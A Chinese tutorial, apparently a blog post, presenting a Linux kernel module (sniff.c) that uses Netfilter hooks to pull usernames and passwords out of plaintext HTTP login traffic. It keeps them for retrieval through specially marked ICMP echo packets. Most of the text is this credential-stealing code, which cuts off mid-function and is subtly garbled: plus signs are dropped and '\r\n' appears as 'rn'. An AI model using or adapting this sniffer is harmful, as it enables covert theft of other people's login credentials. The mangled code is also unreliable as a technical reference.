Netfilter编程实现用户名和密码的窃取
- 一、介绍
- 二、代码
- 三、运行
一、介绍
本实验窃取密码的前提是要明文传输,先必须找到一个登录页面是采用http协议(非https)的站点,一般的163邮箱都有相应的防御机制,建议使用自己学校的邮箱或门户,随意输入用户名和密码。
二、代码
sniff.c
代码语言:javascript复制#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
/* 使用ICMP_ECHO数据包 Code字段设置为0x5B 91 */
#define MAGIC_CODE 0x5B
/* 数据包在头后有足够的空间来容纳4字节的IP地址和用户名和密码字段,每个字段最多15个字符加上一个空字节。
* 因此,ICMP有效负载的总大小为36字节。
*/
#define REPLY_SIZE 36
/* "GPL" 是指明了 这是GNU General Public License的任意版本 */
MODULE_LICENSE("GPL");
/* ICMP有效载荷大小 计算方式是得到整个ip数据包的总长度 减去 ip头部大小 再减去 icmp头部大小 */
#define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) - sizeof(struct iphdr) - sizeof(struct icmphdr))
/* username和password用来保存拿到的用户名/密码对
* 一次只能保留一个USER / PASS对,一旦发起请求将被清除。
*/
static char *username = NULL;
static char *password = NULL;
/* 标记我们是否已经有一对用户名/密码对 */
static int have_pair = 0;
/* 追踪信息。只记录转到的USER和PASS命令相同的IP地址和TCP端口目标ip 和 目标端口 */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* 用于描述我们的Netfilter挂钩
* nf_hook_ops数据结构在linux/netfilter.h中定义
* 我们定义两个nf_hook_ops结构体,一个传入的hook 和 一个传出的hook
struct nf_hook_ops
{
struct list_head list; //钩子链表
nf_hookfn *hook; //钩子处理函数
struct module *owner; //模块所有者
int pf; //钩子协议族
int hooknum; //钩子的位置值(PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五个位置)
int priority; //钩子的的优先级
}
*/
struct nf_hook_ops pre_hook;
struct nf_hook_ops post_hook;
/* 查看已知为HTTP数据包的sk_buff。查找USER和PASS字段,并确保它们都来自target_xxx字段中指示的一个主机 */
static void check_http(struct sk_buff *skb)
{
/* 定义一个tcphdr结构体 *TCP */
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len, i;
/* 从套接字缓冲区skb中获取tcp首部 */
tcp = tcp_hdr(skb);
/* data指向数据部分
* 系统位数导致强制类型转换错误 64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型
* 通过tcp首部位置 tcp长度doff*4字节(以4B为单位) 算出数据区域的位置 data
* 这里是结构体,所以需要类型转换,并且第一个变量的强转类型不能去掉
*/
data = (char *)((unsigned long)tcp (unsigned long)(tcp->doff * 4));
/* Cookie中不包含password,但其包含的uid及domain往往并非采用密码登录的用户,先将其排除 */
if(strstr(data,"Cookie") != NULL){
data = strstr(data,"Cookie");
if(strstr(data,"rn")!= NULL)
data = strstr(data,"rn"); //匹配Cookie结尾处的回车换行rn
else return;
}
/* 判断"Upgrade-In"在data中,判断"uid"在data中,判断"password"在data中 */
if (strstr(data, "Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL)
{
/* 返回在data中首次出现Upgrade-In的地址 */
check_connection = strstr(data, "Upgrade-In");
/* 返回check_connection之后首次出现uid的地址 */
name = strstr(check_connection, "uid=");
/* 返回name之后首次出现&的地址 */
_and = strstr(name, "&");
/* 将name往后移动4字节,因为“uid=”占了四字节,所以移动之后name就是所存储的uid了 */
name = 4;
/* 这是uid的长度,用&位置减去uid开始的位置 */
len = _and - name;
/* 在内核中给这个username分配内存大小。len 2是因为还需要结束符 */
if ((username = kmalloc(len 2, GFP_KERNEL)) == NULL)
return;
/* 将username开始的len 2字节设置为0x00,其实就是初始化 */
memset(username, 0x00, len 2);
/* 用一个for循环将获取的uid放到username中 */
for (i = 0; i < len; i)
{
*(username i) = name[i];
}
*(username len) = '